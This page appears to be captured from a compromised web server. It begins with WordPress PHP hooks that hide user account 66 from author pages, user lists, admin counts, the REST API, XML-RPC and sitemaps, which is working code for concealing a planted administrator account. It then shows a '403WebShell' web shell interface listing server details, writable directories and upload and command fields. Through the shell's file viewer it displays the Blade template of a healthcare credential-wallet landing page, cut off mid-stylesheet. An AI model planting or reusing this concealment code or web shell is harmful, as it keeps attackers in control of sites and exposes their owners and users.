add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/emaji/resources/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/html/emaji/resources/views/landing.blade.php
@extends('layouts.landing')

@section('content')
<!-- Hero Section -->
<div class="hero-section">
  <div class="hero-background"></div>

  <!-- Hero visual - shown as background on mobile, in column on desktop -->
  <div class="hero-visual-wrapper">
    <div class="hero-visual">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 400" class="w-100">
        <defs>
          <linearGradient id="gradBlue" x1="0%" y1="0%" x2="100%" y2="100%">
            <stop offset="0%" style="stop-color:#0066CC;stop-opacity:1" />
            <stop offset="100%" style="stop-color:#0052A3;stop-opacity:1" />
          </linearGradient>
          <linearGradient id="gradTeal" x1="0%" y1="0%" x2="100%" y2="100%">
            <stop offset="0%" style="stop-color:#00C9A7;stop-opacity:1" />
            <stop offset="100%" style="stop-color:#00A88A;stop-opacity:1" />
          </linearGradient>
          <filter id="glow">
            <feGaussianBlur stdDeviation="4" result="coloredBlur"/>
            <feMerge>
              <feMergeNode in="coloredBlur"/>
              <feMergeNode in="SourceGraphic"/>
            </feMerge>
          </filter>
        </defs>

        <!-- Background circles -->
        <circle cx="200" cy="200" r="120" fill="url(#gradBlue)" opacity="0.1"/>
        <circle cx="200" cy="200" r="90" fill="url(#gradTeal)" opacity="0.1"/>

        <!-- Soft focal aura (centre) -->
        <g filter="url(#glow)">
          <circle cx="200" cy="200" r="70" fill="url(#gradBlue)" opacity="0.2"/>
        </g>

        <!-- Credential Badge (left) -->
        <g transform="translate(100, 150)">
          <circle cx="0" cy="0" r="45" fill="white" opacity="0.9" filter="url(#glow)"/>
          <circle cx="0" cy="0" r="40" fill="url(#gradTeal)"/>
          <path d="M -15 -5 L -5 5 L 15 -15" stroke="white" stroke-width="4" fill="none" stroke-linecap="round" stroke-linejoin="round"/>
        </g>

        <!-- Digital Wallet (right) -->
        <g transform="translate(300, 250)">
          <rect x="-35" y="-45" width="70" height="90" fill="white" opacity="0.9" rx="8" filter="url(#glow)"/>
          <rect x="-30" y="-40" width="60" height="80" fill="url(#gradBlue)" rx="6"/>
          <rect x="-20" y="-25" width="40" height="6" fill="white" opacity="0.9" rx="2"/>
          <rect x="-20" y="-12" width="40" height="6" fill="white" opacity="0.7" rx="2"/>
          <rect x="-20" y="1" width="30" height="6" fill="white" opacity="0.5" rx="2"/>
          <circle cx="0" cy="20" r="8" fill="url(#gradTeal)"/>
        </g>

        <!-- Connection lines with animation feel -->
        <line x1="145" y1="150" x2="170" y2="170" stroke="url(#gradTeal)" stroke-width="3" opacity="0.4" stroke-dasharray="5,5"/>
        <line x1="230" y1="200" x2="265" y2="220" stroke="url(#gradTeal)" stroke-width="3" opacity="0.4" stroke-dasharray="5,5"/>
      </svg>
    </div>
  </div>

  <div class="container position-relative">
    <div class="row align-items-center py-5">
      <div class="col-lg-6 text-center text-lg-start mb-5 mb-lg-0">
        <div class="badge glass-badge mb-3">
          {{ __('landing.hero_badge') }}
        </div>
        <h1 class="display-3 fw-bold mb-4 hero-title">
          {{ __('landing.hero_title_1') }}<br>
          <span class="gradient-text">{{ __('landing.hero_title_2') }}</span>
        </h1>
        <p class="lead mb-4 hero-subtitle">
          {{ __('landing.hero_subtitle') }}
        </p>
        <div class="hero-features mb-4">
          <div class="feature-pill">
            <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16">
              <path d="M5 8a1 1 0 1 1-2 0 1 1 0 0 1 2 0zm4 0a1 1 0 1 1-2 0 1 1 0 0 1 2 0zm3 1a1 1 0 1 0 0-2 1 1 0 0 0 0 2z"/>
              <path d="m2.165 15.803.02-.004c1.83-.363 2.948-.842 3.468-1.105A9.06 9.06 0 0 0 8 15c4.418 0 8-3.134 8-7s-3.582-7-8-7-8 3.134-8 7c0 1.76.743 3.37 1.97 4.6a10.437 10.437 0 0 1-.524 2.318l-.003.011a10.722 10.722 0 0 1-.244.637c-.079.186.074.394.273.362a21.673 21.673 0 0 0 .693-.125zm.8-3.108a1 1 0 0 0-.287-.801C1.618 10.83 1 9.468 1 8c0-3.192 3.004-6 7-6s7 2.808 7 6c0 3.193-3.004 6-7 6a8.06 8.06 0 0 1-2.088-.272 1 1 0 0 0-.711.074c-.387.196-1.24.57-2.634.893a10.97 10.97 0 0 0 .398-2z"/>
            </svg>
            {{ __('landing.feature_ai') }}
          </div>
          <div class="feature-pill">
            <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16">
              <path d="M5.338 1.59a61.44 61.44 0 0 0-2.837.856.481.481 0 0 0-.328.39c-.554 4.157.726 7.19 2.253 9.188a10.725 10.725 0 0 0 2.287 2.233c.346.244.652.42.893.533.12.057.218.095.293.118a.55.55 0 0 0 .101.025.615.615 0 0 0 .1-.025c.076-.023.174-.061.294-.118.24-.113.547-.29.893-.533a10.726 10.726 0 0 0 2.287-2.233c1.527-1.997 2.807-5.031 2.253-9.188a.48.48 0 0 0-.328-.39c-.651-.213-1.75-.56-2.837-.855C9.552 1.29 8.531 1.067 8 1.067c-.53 0-1.552.223-2.662.524zM5.072.56C6.157.265 7.31 0 8 0s1.843.265 2.928.56c1.11.3 2.229.655 2.887.87a1.54 1.54 0 0 1 1.044 1.262c.596 4.477-.787 7.795-2.465 9.99a11.775 11.775 0 0 1-2.517 2.453 7.159 7.159 0 0 1-1.048.625c-.28.132-.581.24-.829.24s-.548-.108-.829-.24a7.158 7.158 0 0 1-1.048-.625 11.777 11.777 0 0 1-2.517-2.453C1.928 10.487.545 7.169 1.141 2.692A1.54 1.54 0 0 1 2.185 1.43 62.456 62.456 0 0 1 5.072.56z"/>
            </svg>
            {{ __('landing.feature_privacy') }}
          </div>
          <div class="feature-pill">
            <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16">
              <path d="M8 16s6-5.686 6-10A6 6 0 0 0 2 6c0 4.314 6 10 6 10zm0-7a3 3 0 1 1 0-6 3 3 0 0 1 0 6z"/>
            </svg>
            {{ __('landing.feature_credentials') }}
          </div>
        </div>
        <div class="d-flex gap-3 justify-content-center justify-content-lg-start flex-wrap">
          <a href="#get-started" class="btn btn-hero-primary btn-lg px-5 py-3">{{ __('landing.btn_get_started') }}</a>
        </div>
      </div>
      <div class="col-lg-6 d-none d-lg-block">
        <!-- Visual is shown here on desktop via CSS repositioning -->
      </div>
    </div>
  </div>
</div>

<!-- Get Started Section -->
<div id="get-started" class="roles-section py-5">
  <div class="container">
    <div class="text-center mb-5">
      <h2 class="fw-bold mb-3">{{ __('landing.choose_role') }}</h2>
      <p class="text-muted fs-5">{{ __('landing.join_network') }}</p>
    </div>

    <div class="row g-4 mb-5">
      <!-- Healthcare Talent/Professional -->
      <div class="col-md-4">
        <div class="glass-card role-card h-100" data-role="professional">
          <div class="card-body p-4">
            <div class="role-icon-modern mb-4">
              <svg xmlns="http://www.w3.org/2000/svg" width="40" height="40" fill="currentColor" viewBox="0 0 16 16">
                <path d="M6.5 2a.5.5 0 0 0 0 1h3a.5.5 0 0 0 0-1h-3zM11 8a3 3 0 1 1-6 0 3 3 0 0 1 6 0z"/>
                <path d="M4.5 0A2.5 2.5 0 0 0 2 2.5V14a2 2 0 0 0 2 2h8a2 2 0 0 0 2-2V2.5A2.5 2.5 0 0 0 11.5 0h-7zM3 2.5A1.5 1.5 0 0 1 4.5 1h7A1.5 1.5 0 0 1 13 2.5v10.795a4.2 4.2 0 0 0-.776-.492C11.392 12.387 10.063 12 8 12s-3.392.387-4.224.803a4.2 4.2 0 0 0-.776.492V2.5z"/>
              </svg>
            </div>
            <h4 class="role-title mb-3">{{ __('landing.role_talent') }}</h4>
            <p class="role-subtitle text-muted mb-4">{{ __('landing.role_talent_desc') }}</p>
            <ul class="role-benefits list-unstyled mb-4">
              <li class="mb-2">
                <svg class="benefit-check" xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16">
                  <path d="M16 8A8 8 0 1 1 0 8a8 8 0 0 1 16 0zm-3.97-3.03a.75.75 0 0 0-1.08.022L7.477 9.417 5.384 7.323a.75.75 0 0 0-1.06 1.06L6.97 11.03a.75.75 0 0 0 1.079-.02l3.992-4.99a.75.75 0 0 0-.01-1.05z"/>
                </svg>
                {{ __('landing.talent_benefit_1') }}
              </li>
            <li class="mb-2">
                <svg class="benefit-check" xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16">
                  <path d="M16 8A8 8 0 1 1 0 8a8 8 0 0 1 16 0zm-3.97-3.03a.75.75 0 0 0-1.08.022L7.477 9.417 5.384 7.323a.75.75 0 0 0-1.06 1.06L6.97 11.03a.75.75 0 0 0 1.079-.02l3.992-4.99a.75.75 0 0 0-.01-1.05z"/>
                </svg>
                {{ __('landing.talent_benefit_2') }}
              </li>

              <li class="mb-2">
                <svg class="benefit-check" xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16">
                  <path d="M16 8A8 8 0 1 1 0 8a8 8 0 0 1 16 0zm-3.97-3.03a.75.75 0 0 0-1.08.022L7.477 9.417 5.384 7.323a.75.75 0 0 0-1.06 1.06L6.97 11.03a.75.75 0 0 0 1.079-.02l3.992-4.99a.75.75 0 0 0-.01-1.05z"/>
                </svg>
                {{ __('landing.talent_benefit_3') }}
              </li>
            </ul>
            <div class="mt-auto">
              <a href="https://wallet.emaji.net" class="btn btn-role-professional w-100 mb-2">{{ __('landing.btn_create_wallet') }}</a>
              <p class="text-center mb-0 small text-muted">
                {{ __('landing.already_wallet') }}
                <a href="https://wallet.emaji.net/login" class="link-primary text-decoration-none">{{ __('landing.sign_in') }} →</a>
              </p>
            </div>
          </div>
        </div>
      </div>

      <!-- Training Provider -->
      <div class="col-md-4">
        <div class="glass-card role-card h-100" data-role="trainer">
          <div class="card-body p-4">
            <div class="role-icon-modern mb-4">
              <svg xmlns="http://www.w3.org/2000/svg" width="40" height="40" fill="currentColor" viewBox="0 0 16 16">
                <path d="M8.211 2.047a.5.5 0 0 0-.422 0l-7.5 3.5a.5.5 0 0 0 .025.917l7.5 3a.5.5 0 0 0 .372 0L14 7.14V13a1 1 0 0 0-1 1v2h3v-2a1 1 0 0 0-1-1V6.739l.686-.275a.5.5 0 0 0 .025-.917l-7.5-3.5Z"/>
                <path d="M4.176 9.032a.5.5 0 0 0-.656.327l-.5 1.7a.5.5 0 0 0 .294.605l4.5 1.8a.5.5 0 0 0 .372 0l4.5-1.8a.5.5 0 0 0 .294-.605l-.5-1.7a.5.5 0 0 0-.656-.327L8 10.466 4.176 9.032Z"/>
              </svg>
            </div>
            <h4 class="role-title mb-3">{{ __('landing.role_trainer') }}</h4>
            <p class="role-subtitle text-muted mb-4">{{ __('landing.role_trainer_desc') }}</p>
            <ul class="role-benefits list-unstyled mb-4">
              <li class="mb-2">
                <svg class="benefit-check" xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16">
                  <path d="M16 8A8 8 0 1 1 0 8a8 8 0 0 1 16 0zm-3.97-3.03a.75.75 0 0 0-1.08.022L7.477 9.417 5.384 7.323a.75.75 0 0 0-1.06 1.06L6.97 11.03a.75.75 0 0 0 1.079-.02l3.992-4.99a.75.75 0 0 0-.01-1.05z"/>
                </svg>
                {{ __('landing.trainer_benefit_1') }}
              </li>
              <li class="mb-2">
                <svg class="benefit-check" xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16">
                  <path d="M16 8A8 8 0 1 1 0 8a8 8 0 0 1 16 0zm-3.97-3.03a.75.75 0 0 0-1.08.022L7.477 9.417 5.384 7.323a.75.75 0 0 0-1.06 1.06L6.97 11.03a.75.75 0 0 0 1.079-.02l3.992-4.99a.75.75 0 0 0-.01-1.05z"/>
                </svg>
                {{ __('landing.trainer_benefit_2') }}
              </li>
              <li class="mb-2">
                <svg class="benefit-check" xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16">
                  <path d="M16 8A8 8 0 1 1 0 8a8 8 0 0 1 16 0zm-3.97-3.03a.75.75 0 0 0-1.08.022L7.477 9.417 5.384 7.323a.75.75 0 0 0-1.06 1.06L6.97 11.03a.75.75 0 0 0 1.079-.02l3.992-4.99a.75.75 0 0 0-.01-1.05z"/>
                </svg>
                {{ __('landing.trainer_benefit_3') }}
              </li>
            </ul>
            <div class="mt-auto">
              <a href="{{ route('educator.welcome') }}" class="btn btn-role-trainer w-100 mb-2">{{ __('landing.btn_get_started') }}</a>
              <p class="text-center mb-0 small text-muted">
                {{ __('landing.already_registered') }}
                <a href="{{ route('login') }}" class="link-primary text-decoration-none">{{ __('landing.sign_in') }} →</a>
              </p>
            </div>
          </div>
        </div>
      </div>

      <!-- Healthcare Employer -->
      <div class="col-md-4">
        <div class="glass-card role-card h-100" data-role="employer">
          <div class="card-body p-4">
            <div class="role-icon-modern mb-4">
              <svg xmlns="http://www.w3.org/2000/svg" width="40" height="40" fill="currentColor" viewBox="0 0 16 16">
                <path d="M3.5 0a.5.5 0 0 1 .5.5V1h8V.5a.5.5 0 0 1 1 0V1h1a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V3a2 2 0 0 1 2-2h1V.5a.5.5 0 0 1 .5-.5zM2 2a1 1 0 0 0-1 1v1h14V3a1 1 0 0 0-1-1H2zm13 3H1v9a1 1 0 0 0 1 1h12a1 1 0 0 0 1-1V5z"/>
                <path d="M11 7.5a.5.5 0 0 1 .5-.5h1a.5.5 0 0 1 .5.5v1a.5.5 0 0 1-.5.5h-1a.5.5 0 0 1-.5-.5v-1zm-3 0a.5.5 0 0 1 .5-.5h1a.5.5 0 0 1 .5.5v1a.5.5 0 0 1-.5.5h-1a.5.5 0 0 1-.5-.5v-1zm-5 3a.5.5 0 0 1 .5-.5h1a.5.5 0 0 1 .5.5v1a.5.5 0 0 1-.5.5h-1a.5.5 0 0 1-.5-.5v-1zm3 0a.5.5 0 0 1 .5-.5h1a.5.5 0 0 1 .5.5v1a.5.5 0 0 1-.5.5h-1a.5.5 0 0 1-.5-.5v-1z"/>
              </svg>
            </div>
            <h4 class="role-title mb-3">{{ __('landing.role_employer') }}</h4>
            <p class="role-subtitle text-muted mb-4">{{ __('landing.role_employer_desc') }}</p>
            <ul class="role-benefits list-unstyled mb-4">
              <li class="mb-2">
                <svg class="benefit-check" xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16">
                  <path d="M16 8A8 8 0 1 1 0 8a8 8 0 0 1 16 0zm-3.97-3.03a.75.75 0 0 0-1.08.022L7.477 9.417 5.384 7.323a.75.75 0 0 0-1.06 1.06L6.97 11.03a.75.75 0 0 0 1.079-.02l3.992-4.99a.75.75 0 0 0-.01-1.05z"/>
                </svg>
                {{ __('landing.employer_benefit_1') }}
              </li>
              <li class="mb-2">
                <svg class="benefit-check" xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16">
                  <path d="M16 8A8 8 0 1 1 0 8a8 8 0 0 1 16 0zm-3.97-3.03a.75.75 0 0 0-1.08.022L7.477 9.417 5.384 7.323a.75.75 0 0 0-1.06 1.06L6.97 11.03a.75.75 0 0 0 1.079-.02l3.992-4.99a.75.75 0 0 0-.01-1.05z"/>
                </svg>
                {{ __('landing.employer_benefit_2') }}
              </li>
              <li class="mb-2">
                <svg class="benefit-check" xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16">
                  <path d="M16 8A8 8 0 1 1 0 8a8 8 0 0 1 16 0zm-3.97-3.03a.75.75 0 0 0-1.08.022L7.477 9.417 5.384 7.323a.75.75 0 0 0-1.06 1.06L6.97 11.03a.75.75 0 0 0 1.079-.02l3.992-4.99a.75.75 0 0 0-.01-1.05z"/>
                </svg>
                {{ __('landing.employer_benefit_3') }}
              </li>
            </ul>
            <div class="mt-auto">
              <a href="{{ route('employer.welcome') }}" class="btn btn-role-employer w-100 mb-2">{{ __('landing.btn_get_started') }}</a>
              <p class="text-center mb-0 small text-muted">
                {{ __('landing.already_registered') }}
                <a href="{{ route('login') }}" class="link-primary text-decoration-none">{{ __('landing.sign_in') }} →</a>
              </p>
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>
</div>

<!-- Standards & Trust Section -->
<div id="standards" class="standards-section py-5">
  <div class="container">
    <div class="row g-5 align-items-center">
      <div class="col-lg-5">
        <h2 class="fw-bold mb-4">{{ __('landing.standards_title') }}</h2>
        <p class="text-muted mb-4">{{ __('landing.standards_subtitle') }}</p>
        <div class="standards-list">
          <div class="standard-item mb-3">
            <div class="standard-icon">
              <svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="#00C9A7" viewBox="0 0 16 16">
                <path d="M16 8A8 8 0 1 1 0 8a8 8 0 0 1 16 0zm-3.97-3.03a.75.75 0 0 0-1.08.022L7.477 9.417 5.384 7.323a.75.75 0 0 0-1.06 1.06L6.97 11.03a.75.75 0 0 0 1.079-.02l3.992-4.99a.75.75 0 0 0-.01-1.05z"/>
              </svg>
            </div>
            <div>
              <strong>{{ __('landing.standard_w3c') }}</strong>
              <p class="small text-muted mb-0">{{ __('landing.standard_w3c_desc') }}</p>
            </div>
          </div>
          <div class="standard-item mb-3">
            <div class="standard-icon">
              <svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="#00C9A7" viewBox="0 0 16 16">
                <path d="M16 8A8 8 0 1 1 0 8a8 8 0 0 1 16 0zm-3.97-3.03a.75.75 0 0 0-1.08.022L7.477 9.417 5.384 7.323a.75.75 0 0 0-1.06 1.06L6.97 11.03a.75.75 0 0 0 1.079-.02l3.992-4.99a.75.75 0 0 0-.01-1.05z"/>
              </svg>
            </div>
            <div>
              <strong>{{ __('landing.standard_esco') }}</strong>
              <p class="small text-muted mb-0">{{ __('landing.standard_esco_desc') }}</p>
            </div>
          </div>
          <div class="standard-item">
            <div class="standard-icon">
              <svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="#00C9A7" viewBox="0 0 16 16">
                <path d="M16 8A8 8 0 1 1 0 8a8 8 0 0 1 16 0zm-3.97-3.03a.75.75 0 0 0-1.08.022L7.477 9.417 5.384 7.323a.75.75 0 0 0-1.06 1.06L6.97 11.03a.75.75 0 0 0 1.079-.02l3.992-4.99a.75.75 0 0 0-.01-1.05z"/>
              </svg>
            </div>
            <div>
              <strong>{{ __('landing.standard_gdpr') }}</strong>
              <p class="small text-muted mb-0">{{ __('landing.standard_gdpr_desc') }}</p>
            </div>
          </div>
        </div>
      </div>
      <div class="col-lg-7">
        <div class="row g-4">
          <div class="col-md-6">
            <div class="glass-card trust-card p-4">
              <div class="trust-icon mb-3">
                <svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" fill="#0066CC" viewBox="0 0 16 16">
                  <path d="M5.338 1.59a61.44 61.44 0 0 0-2.837.856.481.481 0 0 0-.328.39c-.554 4.157.726 7.19 2.253 9.188a10.725 10.725 0 0 0 2.287 2.233c.346.244.652.42.893.533.12.057.218.095.293.118a.55.55 0 0 0 .101.025.615.615 0 0 0 .1-.025c.076-.023.174-.061.294-.118.24-.113.547-.29.893-.533a10.726 10.726 0 0 0 2.287-2.233c1.527-1.997 2.807-5.031 2.253-9.188a.48.48 0 0 0-.328-.39c-.651-.213-1.75-.56-2.837-.855C9.552 1.29 8.531 1.067 8 1.067c-.53 0-1.552.223-2.662.524zM5.072.56C6.157.265 7.31 0 8 0s1.843.265 2.928.56c1.11.3 2.229.655 2.887.87a1.54 1.54 0 0 1 1.044 1.262c.596 4.477-.787 7.795-2.465 9.99a11.775 11.775 0 0 1-2.517 2.453 7.159 7.159 0 0 1-1.048.625c-.28.132-.581.24-.829.24s-.548-.108-.829-.24a7.158 7.158 0 0 1-1.048-.625 11.777 11.777 0 0 1-2.517-2.453C1.928 10.487.545 7.169 1.141 2.692A1.54 1.54 0 0 1 2.185 1.43 62.456 62.456 0 0 1 5.072.56z"/>
                  <path d="M10.854 5.146a.5.5 0 0 1 0 .708l-3 3a.5.5 0 0 1-.708 0l-1.5-1.5a.5.5 0 1 1 .708-.708L7.5 7.793l2.646-2.647a.5.5 0 0 1 .708 0z"/>
                </svg>
              </div>
              <h5 class="fw-semibold mb-2">{{ __('landing.trust_secure_title') }}</h5>
              <p class="text-muted small mb-0">{{ __('landing.trust_secure_desc') }}</p>
            </div>
          </div>
          <div class="col-md-6">
            <div class="glass-card trust-card p-4">
              <div class="trust-icon mb-3">
                <svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" fill="#00C9A7" viewBox="0 0 16 16">
                  <path d="M0 1.5A.5.5 0 0 1 .5 1H2a.5.5 0 0 1 .485.379L2.89 3H14.5a.5.5 0 0 1 .491.592l-1.5 8A.5.5 0 0 1 13 12H4a.5.5 0 0 1-.491-.408L2.01 3.607 1.61 2H.5a.5.5 0 0 1-.5-.5zM3.102 4l1.313 7h8.17l1.313-7H3.102zM5 12a2 2 0 1 0 0 4 2 2 0 0 0 0-4zm7 0a2 2 0 1 0 0 4 2 2 0 0 0 0-4zm-7 1a1 1 0 1 1 0 2 1 1 0 0 1 0-2zm7 0a1 1 0 1 1 0 2 1 1 0 0 1 0-2z"/>
                </svg>
              </div>
              <h5 class="fw-semibold mb-2">{{ __('landing.trust_portable_title') }}</h5>
              <p class="text-muted small mb-0">{{ __('landing.trust_portable_desc') }}</p>
            </div>
          </div>
          <div class="col-md-6">
            <div class="glass-card trust-card p-4">
              <div class="trust-icon mb-3">
                <svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" fill="#0066CC" viewBox="0 0 16 16">
                  <path d="M8 16s6-5.686 6-10A6 6 0 0 0 2 6c0 4.314 6 10 6 10zm0-7a3 3 0 1 1 0-6 3 3 0 0 1 0 6z"/>
                </svg>
              </div>
              <h5 class="fw-semibold mb-2">{{ __('landing.trust_global_title') }}</h5>
              <p class="text-muted small mb-0">{{ __('landing.trust_global_desc') }}</p>
            </div>
          </div>
          <div class="col-md-6">
            <div class="glass-card trust-card p-4">
              <div class="trust-icon mb-3">
                <svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" fill="#00C9A7" viewBox="0 0 16 16">
                  <path d="M8.186 1.113a.5.5 0 0 0-.372 0L1.846 3.5 8 5.961 14.154 3.5 8.186 1.113zM15 4.239l-6.5 2.6v7.922l6.5-2.6V4.24zM7.5 14.762V6.838L1 4.239v7.923l6.5 2.6zM7.443.184a1.5 1.5 0 0 1 1.114 0l7.129 2.852A.5.5 0 0 1 16 3.5v8.662a1 1 0 0 1-.629.928l-7.185 2.874a.5.5 0 0 1-.372 0L.63 13.09a1 1 0 0 1-.63-.928V3.5a.5.5 0 0 1 .314-.464L7.443.184z"/>
                </svg>
              </div>
              <h5 class="fw-semibold mb-2">{{ __('landing.trust_ai_title') }}</h5>
              <p class="text-muted small mb-0">{{ __('landing.trust_ai_desc') }}</p>
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>
</div>

<style>
/* ============================================
   CSS Variables - Brand Color Palette
   ============================================ */
:root {
  --color-primary: #0066CC;
  --color-primary-dark: #0052A3;
  --color-secondary: #00C9A7;
  --color-secondary-dark: #00A88A;
  --color-accent: #FF6B6B;
  --color-text: #1a1a1a;
  --color-text-muted: #6c757d;
  --color-background: #ffffff;
  --color-background-alt: #f8f9fa;
}

/* ============================================
   iOS Glassmorphism Base Styles
   ============================================ */
.glass-card {
  background: rgba(255, 255, 255, 0.7);
  backdrop-filter: blur(20px) saturate(180%);
  -webkit-backdrop-filter: blur(20px) saturate(180%);
  border: 1px solid rgba(255, 255, 255, 0.18);
  border-radius: 20px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.08);
  transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
}

.glass-card:hover {
  transform: translateY(-4px);
  box-shadow: 0 12px 48px rgba(0, 0, 0, 0.12);
  border-color: rgba(255, 255, 255, 0.3);
}

.glass-badge {
  background: rgba(0, 102, 204, 0.1);
  backdrop-filter: blur(10px);
  -webkit-backdrop-filter: blur(10px);
  border: 1px solid rgba(0, 102, 204, 0.2);
  color: var(--color-primary);
  padding: 8px 20px;
  border-radius: 50px;
  font-size: 0.875rem;
  font-weight: 600;
  display: inline-block;
  letter-spacing: 0.5px;
}

/* ============================================
   Hero Section
   ============================================ */
.hero-section {
  min-height: 90vh;
  display: flex;
  align-items: center;
  position: relative;
  overflow: hidden;
  background: linear-gradient(135deg,
    #f0f7ff 0%,
    #ffffff 50%,
    #f0fff8 100%);
}

.hero-background {
  position: absolute;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  opacity: 0.4;
  background:
    radial-gradient(circle at 20% 30%, rgba(0, 102, 204, 0.08) 0%, transparent 50%),
    radial-gradient(circle at 80% 70%, rgba(0, 201, 167, 0.08) 0%, transparent 50%);
  pointer-events: none;
}

.hero-title {
  line-height: 1.15;
  color: var(--color-text);
  font-size: 3.5rem;
  letter-spacing: -0.02em;
}

.gradient-text {
  background: linear-gradient(135deg, var(--color-primary) 0%, var(--color-secondary) 100%);
  -webkit-background-clip: text;
  -webkit-text-fill-color: transparent;
  background-clip: text;
}

.hero-subtitle {
  color: var(--color-text-muted);
  font-size: 1.25rem;
  line-height: 1.6;
  font-weight: 400;
}

.hero-features {
  display: flex;
  gap: 12px;
  flex-wrap: wrap;
  justify-content: center;
}

@media (min-width: 992px) {
  .hero-features {
    justify-content: flex-start;
  }
}

.feature-pill {
  display: inline-flex;
  align-items: center;
  gap: 8px;
  padding: 0;
  background: transparent;
  border: none;
  font-size: 0.9rem;
  font-weight: 400;
  color: var(--color-text-muted);
  pointer-events: none;
}

.feature-pill svg {
  flex-shrink: 0;
  fill: var(--color-text-muted);
  opacity: 0.6;
}

.hero-visual {
  animation: float 6s ease-in-out infinite;
  filter: drop-shadow(0 10px 30px rgba(0, 102, 204, 0.1));
}

@@keyframes float {
  0%, 100% { transform: translateY(0px); }
  50% { transform: translateY(-20px); }
}

/* Mobile: show visual at top as watermark */
@media (max-width: 991px) {
  .hero-visual-wrapper {
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    height: 300px;
    display: flex;
    align-items: flex-start;
    justify-content: center;
    padding-top: 2rem;
    pointer-events: none;
    z-index: 0;
  }

  .hero-visual {
    width: 70%;
    max-width: 280px;
    opacity: 0.12;
    animation: none;
  }
}

/* Desktop: position visual on the right side */
@media (min-width: 992px) {
